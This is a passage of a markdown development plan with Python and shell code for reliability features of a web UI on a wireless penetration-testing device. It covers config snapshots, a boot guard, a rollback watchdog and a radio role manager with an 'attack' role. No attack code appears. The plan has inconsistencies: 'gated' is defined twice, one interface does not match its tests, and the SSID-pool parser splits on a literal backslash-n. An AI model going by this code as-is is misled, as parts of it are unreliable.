rc, out, err = run_cmd(['uci', 'export', cfg])
|
||||||
|
if rc != 0 or not (out or '').strip():
|
||||||
|
continue
|
||||||
|
with open(os.path.join(dest, cfg + '.uci'), 'w') as f:
|
||||||
|
f.write(out)
|
||||||
|
wrote = True
|
||||||
|
return wrote
|
||||||
|
except OSError:
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def auto_name(op):
|
||||||
|
return 'pre-%s-%d' % (op, int(time.time()))
|
||||||
|
|
||||||
|
|
||||||
|
def list_profiles():
|
||||||
|
try:
|
||||||
|
return sorted(d for d in os.listdir(PROFILES_DIR)
|
||||||
|
if os.path.isdir(_path(d)))
|
||||||
|
except OSError:
|
||||||
|
return []
|
||||||
|
|
||||||
|
|
||||||
|
def delete(name):
|
||||||
|
import shutil
|
||||||
|
shutil.rmtree(_path(name), ignore_errors=True)
|
||||||
|
|
||||||
|
|
||||||
|
def restore(name):
|
||||||
|
"""Restore configs then commit once per config. Caller runs wifi reload
|
||||||
|
/ service restart as appropriate for the operation."""
|
||||||
|
src = _path(name)
|
||||||
|
restored = []
|
||||||
|
if not os.path.isdir(src):
|
||||||
|
return {'ok': False, 'restored': [], 'error': 'profile not found'}
|
||||||
|
for cfg in CONFIGS:
|
||||||
|
fpath = os.path.join(src, cfg + '.uci')
|
||||||
|
if not os.path.isfile(fpath):
|
||||||
|
continue
|
||||||
|
with open(fpath) as f:
|
||||||
|
text = f.read()
|
||||||
|
rc, _, err = run_cmd(['uci', 'import', cfg], input_data=text)
|
||||||
|
if rc != 0:
|
||||||
|
return {'ok': False, 'restored': restored,
|
||||||
|
'error': 'import failed'}
|
||||||
|
run_cmd(['uci', 'commit', cfg])
|
||||||
|
restored.append(cfg)
|
||||||
|
return {'ok': True, 'restored': restored}
|
||||||
|
|
||||||
|
|
||||||
|
LASTKNOWN_GOOD = 'lastknown-good'
|
||||||
|
|
||||||
|
|
||||||
|
def promote_lastknown_good():
|
||||||
|
"""Replace the lastknown-good profile with the live config."""
|
||||||
|
delete(LASTKNOWN_GOOD)
|
||||||
|
return snapshot(LASTKNOWN_GOOD)
|
||||||
|
```
|
||||||
|
|
||||||
|
Update the Step-1 fake to accept `input_data=None` and record imports:
|
||||||
|
|
||||||
|
```python
|
||||||
|
def fake_run(args, timeout=20, input_data=None):
|
||||||
|
a = list(args)
|
||||||
|
if a[:2] == ['uci', 'import']:
|
||||||
|
self.imports = getattr(self, 'imports', [])
|
||||||
|
self.imports.append((a[2], input_data))
|
||||||
|
return (0, '', '')
|
||||||
|
if a[:2] == ['uci', 'export']:
|
||||||
|
return (0, self.state.get(a[2], ''), '')
|
||||||
|
if a[:2] == ['uci', 'commit']:
|
||||||
|
return (0, '', '')
|
||||||
|
return (0, '', '')
|
||||||
|
```
|
||||||
|
|
||||||
|
- [ ] **Step 4: Run to pass.**
|
||||||
|
- [ ] **Step 5: Commit** — `feat(reliability): UCI profile snapshot store`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Task 3: Reconciler (`mk8_guard.py`)
|
||||||
|
|
||||||
|
**Files:**
|
||||||
|
- Create: `payload/user/remote_access/pager-webui/mk8_guard.py`
|
||||||
|
- Test: `tests/test_mk8_guard.py`
|
||||||
|
|
||||||
|
**Interfaces:**
|
||||||
|
- Consumes: `server.PINEAPD_SAFE_UCI` (dict of safe pineapd UCI values), `server._apply_uci_wanted(wanted)`, `server._monitor_down(name)`, `server._raise_monitors()`.
|
||||||
|
- Produces: `WANTED_EXTRA = {'pineapd.@pineapd[0].autossidpool': '0'}`; `POOL_CLEAR_MAX = 20`; `reconcile(clear_pool=True)` → `{'changed': [...], 'pool_cleared': bool}`; `guard_report()` → dict for `/api/health`.
|
||||||
|
|
||||||
|
- [ ] **Step 1: Failing tests**
|
||||||
|
|
||||||
|
Full file — reuse the exact `fake_run` device-mock pattern from `tests/test_health.py`:
|
||||||
|
|
||||||
|
```python
|
||||||
|
import os, sys, unittest
|
||||||
|
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||||
|
import server
|
||||||
|
import mk8_guard
|
||||||
|
|
||||||
|
class GuardTest(unittest.TestCase):
|
||||||
|
def setUp(self):
|
||||||
|
self.calls = []
|
||||||
|
self.uci = {}
|
||||||
|
self.mon_up = {'wlan0mon': True, 'wlan1mon': True}
|
||||||
|
server._iface_up = lambda name: self.mon_up.get(name, True)
|
||||||
|
|
||||||
|
def fake_run(args, timeout=20, input_data=None):
|
||||||
|
a = list(args)
|
||||||
|
self.calls.append(a)
|
||||||
|
if a[:2] == ['uci', 'get']:
|
||||||
|
key = a[2]
|
||||||
|
if key == 'pineapd.@ssidpool[0].ssid':
|
||||||
|
return (0, ''.join('s%d\n' % i for i in range(self.pool)), '')
|
||||||
|
return (0, self.uci.get(key, '') + '\n', '')
|
||||||
|
if a[:2] == ['uci', 'set']:
|
||||||
|
k, _, v = a[2].partition('=')
|
||||||
|
self.uci[k] = v
|
||||||
|
if a[:2] == ['uci', 'delete']:
|
||||||
|
self.pool = 0
|
||||||
|
return (0, '', '')
|
||||||
|
mk8_guard.device_run = fake_run
|
||||||
|
|
||||||
|
def tearDown(self):
|
||||||
|
server._iface_up = lambda name: True
|
||||||
|
|
||||||
|
def test_applies_all_wanted_when_missing(self):
|
||||||
|
self.pool = 0
|
||||||
|
result = mk8_guard.reconcile(clear_pool=False)
|
||||||
|
sets = [c[2] for c in self.calls if c[:2] == ['uci', 'set']]
|
||||||
|
self.assertEqual(len(sets),
|
||||||
|
len(server.PINEAPD_SAFE_UCI) + len(mk8_guard.WANTED_EXTRA))
|
||||||
|
self.assertTrue(result['changed'])
|
||||||
|
|
||||||
|
def test_clears_large_pool_only(self):
|
||||||
|
self.pool = 25
|
||||||
|
result = mk8_guard.reconcile(clear_pool=True)
|
||||||
|
self.assertTrue(result['pool_cleared'])
|
||||||
|
self.assertIn(['uci', 'delete', 'pineapd.@ssidpool[0].ssid'], self.calls)
|
||||||
|
|
||||||
|
def test_small_pool_untouched(self):
|
||||||
|
self.pool = 5
|
||||||
|
result = mk8_guard.reconcile(clear_pool=True)
|
||||||
|
self.assertFalse(result['pool_cleared'])
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
unittest.main()
|
||||||
|
```
|
||||||
|
|
||||||
|
- [ ] **Step 2: Verify failure** — no module.
|
||||||
|
- [ ] **Step 3: Implement**
|
||||||
|
|
||||||
|
```python
|
||||||
|
"""Boot-time reconciliation of crash-prone PineAP settings."""
|
||||||
|
from server import (_apply_uci_wanted, _monitor_down, _raise_monitors,
|
||||||
|
PINEAPD_SAFE_UCI, device_run)
|
||||||
|
|
||||||
|
WANTED_EXTRA = {'pineapd.@pineapd[0].autossidpool': '0'}
|
||||||
|
POOL_CLEAR_MAX = 20
|
||||||
|
MONITORS = ('wlan0mon', 'wlan1mon')
|
||||||
|
|
||||||
|
|
||||||
|
def _pool_size():
|
||||||
|
rc, out, err = device_run(
|
||||||
|
['uci', 'get', 'pineapd.@ssidpool[0].ssid'])
|
||||||
|
if rc != 0 or not (out or '').strip():
|
||||||
|
return 0
|
||||||
|
return len([s for s in out.strip().split('\\n') if s])
|
||||||
|
|
||||||
|
|
||||||
|
def reconcile(clear_pool=True):
|
||||||
|
changed = _apply_uci_wanted(dict(PINEAPD_SAFE_UCI, **WANTED_EXTRA))
|
||||||
|
pool_cleared = False
|
||||||
|
if clear_pool and _pool_size() > POOL_CLEAR_MAX:
|
||||||
|
device_run(['uci', 'delete', 'pineapd.@ssidpool[0].ssid'])
|
||||||
|
pool_cleared = True
|
||||||
|
if changed or pool_cleared:
|
||||||
|
device_run(['uci', 'commit', 'pineapd'])
|
||||||
|
raised = _raise_monitors() if any(_monitor_down(m) for m in MONITORS) else []
|
||||||
|
return {'changed': changed, 'pool_cleared': pool_cleared,
|
||||||
|
'monitors_raised': raised}
|
||||||
|
|
||||||
|
|
||||||
|
def guard_report():
|
||||||
|
from server import _pending_uci
|
||||||
|
pending = _pending_uci(dict(PINEAPD_SAFE_UCI, **WANTED_EXTRA))
|
||||||
|
return {'in_sync': not pending, 'pending': pending,
|
||||||
|
'pool_size': _pool_size()}
|
||||||
|
```
|
||||||
|
|
||||||
|
- [ ] **Step 4: Pass. Commit:** `feat(reliability): boot-time UCI reconciler`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Task 4: Guard init script + install wiring
|
||||||
|
|
||||||
|
**Files:**
|
||||||
|
- Create: `payload/user/remote_access/pager-webui/mk8-guard.init`
|
||||||
|
- Modify: `scripts/deploy.sh` (install block), `payload/user/remote_access/pager-webui/server.py` (CLI flag)
|
||||||
|
|
||||||
|
**Interfaces:** CLI: `python3 server.py --reconcile` runs `mk8_guard.reconcile()` and prints JSON; exit 0 always (boot must not fail).
|
||||||
|
|
||||||
|
- [ ] **Step 1: Write `mk8-guard.init`:**
|
||||||
|
|
||||||
|
```sh
|
||||||
|
#!/bin/sh /etc/rc.common
|
||||||
|
# Mark VIII boot guard: enforce safe PineAP UCI before the S50 stack starts.
|
||||||
|
START=49
|
||||||
|
STOP=90
|
||||||
|
|
||||||
|
GUARD_DIR="/root/payloads/user/remote_access/pager-webui"
|
||||||
|
[ -f "$GUARD_DIR/server.py" ] || GUARD_DIR="/mmc/mk8/releases/current"
|
||||||
|
|
||||||
|
start() {
|
||||||
|
[ -f "$GUARD_DIR/server.py" ] || return 0
|
||||||
|
/usr/bin/python3 "$GUARD_DIR/server.py" --reconcile \
|
||||||
|
>/tmp/mk8-guard.log 2>&1 || true
|
||||||
|
}
|
||||||
|
|
||||||
|
stop() { return 0; }
|
||||||
|
```
|
||||||
|
|
||||||
|
- [ ] **Step 2: Add CLI branch in `server.py` `__main__` (after `--release-pager`):**
|
||||||
|
|
||||||
|
```python
|
||||||
|
if '--reconcile' in sys.argv:
|
||||||
|
try:
|
||||||
|
import mk8_guard
|
||||||
|
print(json.dumps(mk8_guard.reconcile()))
|
||||||
|
except Exception as exc: # boot must never fail here
|
||||||
|
print(json.dumps({'error': str(exc)}))
|
||||||
|
sys.exit(0)
|
||||||
|
```
|
||||||
|
|
||||||
|
- [ ] **Step 3: deploy.sh install block (inside REMOTE_COMMAND before EXTRACT_OK echo):**
|
||||||
|
|
||||||
|
```sh
|
||||||
|
cp -f '$DIR/mk8-guard.init' /etc/init.d/mk8-guard
|
||||||
|
chmod 755 /etc/init.d/mk8-guard
|
||||||
|
/etc/init.d/mk8-guard enable
|
||||||
|
```
|
||||||
|
|
||||||
|
(`$DIR` is the existing remote payload dir var used by the unzip step.)
|
||||||
|
|
||||||
|
- [ ] **Step 4: Local verification:** `python3 -m py_compile payload/user/remote_access/pager-webui/server.py && node --check payload/user/remote_access/pager-webui/www/js/app.js` (JS untouched but cheap sanity). `sh -n scripts/deploy.sh`.
|
||||||
|
- [ ] **Step 5: Commit** — `feat(reliability): START=49 boot guard installed by deploy`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Task 5: Supervisor extension of health monitor
|
||||||
|
|
||||||
|
**Files:**
|
||||||
|
- Modify: `payload/user/remote_access/pager-webui/server.py` (`health_check`, `_health_loop`, `h_health`, `serve()` boot sequence)
|
||||||
|
- Test: `tests/test_health.py` (extend), `tests/test_reliability_api.py` (new)
|
||||||
|
|
||||||
|
**Interfaces:**
|
||||||
|
- Consumes: `mk8_events`, `mk8_guard.guard_report()`.
|
||||||
|
- Produces in `_health`: `mem_percent`, `events` (last 20), `reliability` counters, `guard` report; boot-marker logic `check_boot_marker()` → bool unexpected; mem sampling `_mem_percent()`.
|
||||||
|
|
||||||
|
- [ ] **Step 1: Failing tests** — add to `tests/test_health.py` (same fake_run pattern already there):
|
||||||
|
|
||||||
|
```python
|
||||||
|
class SupervisorExtrasTest(unittest.TestCase):
|
||||||
|
def runTestWith(self): # helper: reuse existing setUp fake_run
|
||||||
|
pass
|
||||||
|
|
||||||
|
def test_mem_percent_math(self):
|
||||||
|
import tempfile
|
||||||
|
content = 'MemTotal: 250000 kB\nMemAvailable: 100000 kB\n'
|
||||||
|
path = tempfile.mktemp()
|
||||||
|
open(path, 'w').write(content)
|
||||||
|
self.assertEqual(server._mem_percent(path), 60)
|
||||||
|
|
||||||
|
def test_health_reports_events_and_counters(self):
|
||||||
|
import mk8_events
|
||||||
|
mk8_events.log_event('restart', msg='x')
|
||||||
|
status, h = server.h_health(None)
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
self.assertIn('events', h)
|
||||||
|
self.assertIn('boots', h['reliability'])
|
||||||
|
|
||||||
|
def test_boot_marker_detects_unexpected(self):
|
||||||
|
import mk8_events, tempfile, os
|
||||||
|
marker = tempfile.mktemp()
|
||||||
|
old = server.BOOT_MARKER
|
||||||
|
server.BOOT_MARKER = marker
|
||||||
|
try:
|
||||||
|
open(marker, 'w').write('0')
|
||||||
|
self.assertTrue(server.check_boot_marker())
|
||||||
|
os.unlink(marker)
|
||||||
|
self.assertFalse(server.check_boot_marker())
|
||||||
|
finally:
|
||||||
|
server.BOOT_MARKER = old
|
||||||
|
```
|
||||||
|
|
||||||
|
(`_mem_percent` takes a `path` argument so tests inject a temp file; production call passes no arg.)
|
||||||
|
|
||||||
|
- [ ] **Step 2: Implement** — key code:
|
||||||
|
|
||||||
|
```python
|
||||||
|
def _mem_percent(path='/proc/meminfo'):
|
||||||
|
try:
|
||||||
|
vals = {}
|
||||||
|
with open(path) as f:
|
||||||
|
for line in f:
|
||||||
|
k, v = line.split(':')
|
||||||
|
vals[k] = int(v.strip().split()[0])
|
||||||
|
total = vals.get('MemTotal', 0)
|
||||||
|
avail = vals.get('MemAvailable', vals.get('MemFree', 0))
|
||||||
|
return round(100.0 * (total - avail) / total) if total else 0
|
||||||
|
except (OSError, ValueError):
|
||||||
|
return 0
|
||||||
|
|
||||||
|
MEM_WARN_PERCENT = 85
|
||||||
|
MEM_WARN_STREAK = 5
|
||||||
|
|
||||||
|
# inside health_check(), after monitor repair section:
|
||||||
|
h['mem_percent'] = _mem_percent()
|
||||||
|
if h['mem_percent'] >= MEM_WARN_PERCENT:
|
||||||
|
h['mem_streak'] = h.get('mem_streak', 0) + 1
|
||||||
|
else:
|
||||||
|
h['mem_streak'] = 0
|
||||||
|
if h['mem_streak'] == MEM_WARN_STREAK:
|
||||||
|
mk8_events.log_event('mem_warn', sev='warn',
|
||||||
|
msg='memory above %d%% sustained' % MEM_WARN_PERCENT)
|
||||||
|
|
||||||
|
# restart action gains journaling:
|
||||||
|
h['fixes'] += 1
|
||||||
|
mk8_events.log_event('restart', msg='pineapd restarted by health monitor')
|
||||||
|
```
|
||||||
|
|
||||||
|
Boot marker (called from `startup_env_check` tail):
|
||||||
|
|
||||||
|
```python
|
||||||
|
BOOT_MARKER = '/mmc/mk8/boot.marker'
|
||||||
|
|
||||||
|
def check_boot_marker():
|
||||||
|
import os, mk8_events
|
||||||
|
try:
|
||||||
|
unexpected = os.path.exists(BOOT_MARKER)
|
||||||
|
mk8_events.mark_boot(unexpected=unexpected)
|
||||||
|
with open(BOOT_MARKER, 'w') as f:
|
||||||
|
f.write(str(int(time.time())))
|
||||||
|
return unexpected
|
||||||
|
except OSError:
|
||||||
|
return False
|
||||||
|
```
|
||||||
|
|
||||||
|
`h_health` additions:
|
||||||
|
|
||||||
|
```python
|
||||||
|
import mk8_events, mk8_guard
|
||||||
|
h['reliability'] = mk8_events.counters()
|
||||||
|
h['events'] = mk8_events.read_events(limit=20)
|
||||||
|
h['guard'] = mk8_guard.guard_report()
|
||||||
|
```
|
||||||
|
|
||||||
|
- [ ] **Step 3: Run full test_health + new api test to pass.**
|
||||||
|
- [ ] **Step 4: Commit** — `feat(reliability): supervisor sampling, event feed, boot marker`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Task 6: Risky-op gate + rollback watchdog
|
||||||
|
|
||||||
|
**Files:**
|
||||||
|
- Create: `payload/user/remote_access/pager-webui/mk8_gate.py`, `payload/user/remote_access/pager-webui/mk8-watchdog.sh`
|
||||||
|
- Modify: `server.py` (wrap handlers), `deploy.sh` (ship watchdog script)
|
||||||
|
- Test: `tests/test_mk8_gate.py`
|
||||||
|
|
||||||
|
**Interfaces:**
|
||||||
|
- `watchdog_decision(fails, oks, fail_after=6, healthy_after=6)` → `'rollback'|'promote'|None` (pure).
|
||||||
|
- `gated(op, fn)` decorator/context: snapshots `auto_name(op)`, spawns watchdog via `setsid sh mk8-watchdog.sh <profile> ... &`, runs fn, returns `(result, profile)`.
|
||||||
|
- CLI: `server.py --rollback-snapshot <name>` restores profile + wifi reload; `--promote-snapshot <name>` promotes lastknown-good.
|
||||||
|
|
||||||
|
- [ ] **Step 1: Failing decision-table tests**
|
||||||
|
|
||||||
|
```python
|
||||||
|
import os, sys, unittest
|
||||||
|
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||||
|
import mk8_gate
|
||||||
|
|
||||||
|
class DecisionTest(unittest.TestCase):
|
||||||
|
def tick(self, state):
|
||||||
|
action, new = mk8_gate.watchdog_decision(state)
|
||||||
|
return action, new
|
||||||
|
|
||||||
|
def test_no_action_below_fail_threshold(self):
|
||||||
|
action, s = self.tick({'fails': 5, 'oks': 0, 'tripped': False})
|
||||||
|
self.assertIsNone(action)
|
||||||
|
self.assertFalse(s['tripped'])
|
||||||
|
|
||||||
|
def test_rollback_at_threshold(self):
|
||||||
|
action, s = self.tick({'fails': 6, 'oks': 0, 'tripped': False})
|
||||||
|
self.assertEqual(action, 'rollback')
|
||||||
|
self.assertTrue(s['tripped'])
|
||||||
|
self.assertEqual(s['oks'], 0)
|
||||||
|
|
||||||
|
def test_promote_after_recovery(self):
|
||||||
|
action, s = self.tick({'fails': 6, 'oks': 6, 'tripped': True})
|
||||||
|
self.assertEqual(action, 'promote')
|
||||||
|
|
||||||
|
def test_no_promote_before_recovery_threshold(self):
|
||||||
|
action, s = self.tick({'fails': 6, 'oks': 5, 'tripped': True})
|
||||||
|
self.assertIsNone(action)
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
unittest.main()
|
||||||
|
```
|
||||||
|
|
||||||
|
- [ ] **Step 2: Implement `mk8_gate.py`**
|
||||||
|
|
||||||
|
```python
|
||||||
|
"""Risky-operation gate: snapshot + detached rollback watchdog."""
|
||||||
|
import subprocess
|
||||||
|
|
||||||
|
WATCHDOG = '/root/payloads/user/remote_access/pager-webui/mk8-watchdog.sh'
|
||||||
|
FAIL_AFTER = 6 # consecutive local-liveness failures -> rollback
|
||||||
|
HEALTHY_AFTER = 6 # consecutive successes after failure -> promote
|
||||||
|
INTERVAL = 5 # seconds between probes
|
||||||
|
|
||||||
|
|
||||||
|
def watchdog_decision(state):
|
||||||
|
"""state: {'fails': int, 'oks': int, 'tripped': bool,
|
||||||
|
'fail_after': 6, 'healthy_after': 6}
|
||||||
|
Returns (action, new_state): action in {'rollback','promote',None}."""
|
||||||
|
s = dict(state)
|
||||||
|
fa = s.get('fail_after', FAIL_AFTER)
|
||||||
|
ha = s.get('healthy_after', HEALTHY_AFTER)
|
||||||
|
if not s['tripped'] and s['fails'] >= fa:
|
||||||
|
return 'rollback', dict(s, tripped=True, oks=0)
|
||||||
|
if s['tripped'] and s['oks'] >= ha:
|
||||||
|
return 'promote', s
|
||||||
|
return None, s
|
||||||
|
|
||||||
|
|
||||||
|
def gated(op, profiles, spawn=None):
|
||||||
|
"""Decorator factory: snapshot config, spawn detached watchdog, run op."""
|
||||||
|
import shlex
|
||||||
|
if spawn is None:
|
||||||
|
def spawn(cmd):
|
||||||
|
subprocess.Popen(cmd, shell=True, start_new_session=True)
|
||||||
|
def deco(fn):
|
||||||
|
def wrapped(*a, **kw):
|
||||||
|
name = profiles.auto_name(op)
|
||||||
|
profiles.snapshot(name)
|
||||||
|
spawn("setsid sh %s %s %d %d %d >/dev/null 2>&1 &" %
|
||||||
|
(shlex.quote(WATCHDOG), shlex.quote(name),
|
||||||
|
INTERVAL, FAIL_AFTER, HEALTHY_AFTER))
|
||||||
|
return fn(*a, **kw)
|
||||||
|
return wrapped
|
||||||
|
return deco
|
||||||
|
```
|
||||||
|
|
||||||
|
(Remove the earlier `NotImplementedError` sketch entirely — this is the final form.)
|
||||||
|
|
||||||
|
`gated` implementation:
|
||||||
|
|
||||||
|
```python
|
||||||
|
def gated(op, profiles, spawn=lambda cmd: subprocess.Popen(
|
||||||
|
cmd, shell=True, start_new_session=True)):
|
||||||
|
"""Decorator factory. profiles = mk8_profiles module."""
|
||||||
|
def deco(fn):
|
||||||
|
def wrapped(*a, **kw):
|
||||||
|
name = profiles.auto_name(op)
|
||||||
|
profiles.snapshot(name)
|
||||||
|
spawn("setsid sh %s %s %d %d %d >/dev/null 2>&1 &"
|
||||||
|
% (WATCHDOG, name, INTERVAL, FAIL_AFTER, HEALTHY_AFTER))
|
||||||
|
return fn(*a, **kw)
|
||||||
|
return wrapped
|
||||||
|
return deco
|
||||||
|
```
|
||||||
|
|
||||||
|
- [ ] **Step 3: `mk8-watchdog.sh`**
|
||||||
|
|
||||||
|
```sh
|
||||||
|
#!/bin/sh
|
||||||
|
# Usage: mk8-watchdog.sh <profile> <interval> <fail_after> <healthy_after>
|
||||||
|
PROFILE="$1"; IV="${2:-5}"; FA="${3:-6}"; HA="${4:-6}"
|
||||||
|
DIR="/root/payloads/user/remote_access/pager-webui"
|
||||||
|
[ -f "$DIR/server.py" ] || DIR="/mmc/mk8/releases/current"
|
||||||
|
fails=0; oks=0; tripped=0
|
||||||
|
probe() {
|
||||||
|
curl -fsS -m 3 http://127.0.0.1:8080/ >/dev/null 2>&1 &&
|
||||||
|
{ ip link show wlan0mon >/dev/null 2>&1 ||
|
||||||
|
ip link show wlan1mon >/dev/null 2>&1; }
|
||||||
|
}
|
||||||
|
while true; do
|
||||||
|
if probe; then
|
||||||
|
fails=0
|
||||||
|
if [ "$tripped" = "1" ]; then
|
||||||
|
oks=$((oks + 1))
|
||||||
|
if [ "$oks" -ge "$HA" ]; then
|
||||||
|
/usr/bin/python3 "$DIR/server.py" --promote-snapshot "$PROFILE" >/dev/null 2>&1
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
fails=$((fails + 1)); oks=0
|
||||||
|
if [ "$tripped" = "0" ] && [ "$fails" -ge "$FA" ]; then
|
||||||
|
tripped=1
|
||||||
|
/usr/bin/python3 "$DIR/server.py" --rollback-snapshot "$PROFILE" >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
sleep "$IV"
|
||||||
|
done
|
||||||
|
```
|
||||||
|
|
||||||
|
- [ ] **Step 4: Wire gates** — decorate `h_pineap_wifi_set_ap`, `_disable_sta_uplink` call sites, enterprise deploy/stop, and any handler issuing `wifi reload`, with `@mk8_gate.gated('<op>', mk8_profiles)`.
|
||||||
|
- [ ] **Step 5: CLI rollback/promote hooks in `server.py` `__main__`:**
|
||||||
|
|
||||||
|
```python
|
||||||
|
if '--rollback-snapshot' in sys.argv:
|
||||||
|
name = sys.argv[sys.argv.index('--rollback-snapshot') + 1]
|
||||||
|
import mk8_profiles
|
||||||
|
result = mk8_profiles.restore(name)
|
||||||
|
device_run(['wifi', 'reload'], timeout=90)
|
||||||
|
import mk8_events
|
||||||
|
mk8_events.log_event('rollback', sev='warn',
|
||||||
|
msg='watchdog restored %s' % name,
|
||||||
|
meta=result)
|
||||||
|
print(json.dumps(result))
|
||||||
|
sys.exit(0)
|
||||||
|
if '--promote-snapshot' in sys.argv:
|
||||||
|
name = sys.argv[sys.argv.index('--promote-snapshot') + 1]
|
||||||
|
import mk8_profiles
|
||||||
|
print(json.dumps({'promoted': mk8_profiles.promote_lastknown_good()}))
|
||||||
|
sys.exit(0)
|
||||||
|
```
|
||||||
|
|
||||||
|
- [ ] **Step 6: Tests pass; `sh -n mk8-watchdog.sh`; commit** — `feat(reliability): risky-op preflight snapshots + detached rollback watchdog`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Task 7: RF role manager (`mk8_rfplan.py`)
|
||||||
|
|
||||||
|
**Files:**
|
||||||
|
- Create: `payload/user/remote_access/pager-webui/mk8_rfplan.py`
|
||||||
|
- Modify: `server.py` (routes), UI chip later in Task 8
|
||||||
|
- Test: `tests/test_mk8_rfplan.py`
|
||||||
|
|
||||||
|
**Interfaces:**
|
||||||
|
- Consumes: `server._pause_hop/_resume_hop/_read_hop`, `server.device_run`, `server._uci_values/_set_uci`, gate from Task 6.
|
||||||
|
- Produces: `current_role()` → `'attack'|'uplink'|'idle'`; `set_role(role, ssid=None, psk=None)` → dict result (gated); ensures exclusivity: attack AP enable paths call `ensure_attack()` which auto-switches uplink→attack first.
|
||||||
|
- Routes: `GET /api/rfplan` , `POST /api/rfplan/role`.
|
||||||
|
|
||||||
|
- [ ] **Step 1: Failing tests** (fake device_run capturing uci/iw calls):
|
||||||
|
|
||||||
|
```python
|
||||||
|
def test_uplink_sets_sta_section_and_pauses_hop(self): ...
|
||||||
|
def test_set_role_uplink_requires_ssid(self): ...
|
||||||
|
def test_exclusivity_switch(self): ...
|
||||||
|
def test_current_role_reads_uci(self): ...
|
||||||
|
```
|
||||||
|
|
||||||
|
Assertions: `uci set wireless.wlan1up.mode=sta`, `.disabled=0`, `.ssid=<ssid>`, hop paused via `_pause_hop` mock, `wifi reload` invoked through gated op only.
|
||||||
|
|
||||||
|
- [ ] **Step 2: Implement core:**
|
||||||
|
|
||||||
|
```python
|
||||||
|
ROLE_KEY = 'mk8.rfplan.role'
|
||||||
|
|
||||||
|
def current_role():
|
||||||
|
from server import _uci_values
|
||||||
|
cfg = _uci_values('wireless.wlan1up') or {}
|
||||||
|
if cfg.get('disabled') != '1' and cfg.get('mode') == 'sta':
|
||||||
|
return 'uplink'
|
||||||
|
return 'idle'
|
||||||
|
|
||||||
|
def set_role(role, ssid=None, psk=None):
|
||||||
|
from server import device_run, _pause_hop, _resume_hop
|
||||||
|
if role == 'uplink':
|
||||||
|
if not ssid:
|
||||||
|
return {'ok': False, 'error': 'ssid required'}
|
||||||
|
cmds = [
|
||||||
|
['uci', 'set', 'wireless.wlan1up=wifi-iface'],
|
||||||
|
['uci', 'set', 'wireless.wlan1up.device=radio1'],
|
||||||
|
['uci', 'set', 'wireless.wlan1up.mode=sta'],
|
||||||
|
['uci', 'set', 'wireless.wlan1up.network=cli'],
|
||||||
|
['uci', 'set', 'wireless.wlan1up.ssid=%s' % ssid],
|
||||||
|
['uci', 'set', 'wireless.wlan1up.encryption=%s'
|
||||||
|
% ('psk2' if psk else 'none')],
|
||||||
|
['uci', 'set', 'wireless.wlan1up.disabled=0'],
|
||||||
|
]
|
||||||
|
if psk:
|
||||||
|
cmds.append(['uci', 'set', 'wireless.wlan1up.key=%s' % psk])
|
||||||
|
for c in cmds:
|
||||||
|
device_run(c)
|
||||||
|
device_run(['uci', 'commit', 'wireless'])
|
||||||
|
_pause_hop()
|
||||||
|
device_run(['wifi', 'reload'], timeout=60)
|
||||||
|
assoc = associated()
|
||||||
|
if not assoc:
|
||||||
|
disable_uplink()
|
||||||
|
_resume_hop()
|
||||||
|
return {'ok': False, 'error': 'association failed; reverted'}
|
||||||
|
return {'ok': True, 'role': 'uplink', 'assoc': assoc}
|
||||||
|
# attack/idle: tear down STA
|
||||||
|
disable_uplink()
|
||||||
|
_resume_hop()
|
||||||
|
return {'ok': True, 'role': role}
|
||||||
|
|
||||||
|
def associated():
|
||||||
|
rc, out, err = device_run(['iw', 'dev', 'wlan1up', 'link'], timeout=10)
|
||||||
|
if rc != 0 or 'Connected' not in (out or ''):
|
||||||
|
return None
|
||||||
|
for line in (out or '').splitlines():
|
||||||
|
line = line.strip()
|
||||||
|
if line.startswith('Connected to '):
|
||||||
|
return line.split()[2]
|
||||||
|
return None
|
||||||
|
|
||||||
|
def disable_uplink():
|
||||||
|
from server import device_run
|
||||||
|
device_run(['uci', 'set', 'wireless.wlan1up.disabled=1'])
|
||||||
|
device_run(['uci', 'commit', 'wireless'])
|
||||||
|
|
||||||
|
def ensure_attack():
|
||||||
|
if current_role() == 'uplink':
|
||||||
|
set_role('attack')
|
||||||
|
```
|
||||||
|
|
||||||
|
Handlers in server.py wrap with gate + journal events. `GET /api/rfplan` returns role + assoc + hop-paused state.
|
||||||
|
|
||||||
|
- [ ] **Step 3: Pass; py_compile; commit** — `feat(reliability): phy1 RF role manager with uplink-on-radio1`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Task 8: UI additions
|
||||||
|
|
||||||
|
**Files:**
|
||||||
|
- Modify: `payload/user/remote_access/pager-webui/www/js/views.js`, `www/js/app.js` (nav if needed), `www/css/app.css`
|
||||||
|
|
||||||
|
**Steps (no unit tests; verified by `node --check` + live smoke in Task 10):**
|
||||||
|
|
||||||
|
- [ ] Dashboard health panel: events feed list (ts/kind/sev/msg) + counters row (boots/unexpected/rollbacks/restarts/guard fixes) + guard sync chip; render from `/api/health` new fields; CSS classes `mk8-events-feed`, `mk8-counter-row`.
|
||||||
|
- [ ] Top bar RF chip extension: show `PHY1: UPLINK chNN` when rfplan role is uplink (poll `/api/rfplan` with existing status poll).
|
||||||
|
- [ ] Settings: "Reliability" card — profile save input + Save button (`POST /api/reliability/profile` {name}), profile list with Restore buttons (`POST /api/reliability/restore` {name}), RF role control (role select + SSID/PSK inputs → `POST /api/rfplan/role`).
|
||||||
|
- [ ] Add routes in Task 9's API surface before wiring buttons; keep fetch helpers identical to existing patterns (`apiFetch('/api/...')`).
|
||||||
|
- [ ] `node --check` both JS files; bump cache-bust query `?v=` strings as existing convention does.
|
||||||
|
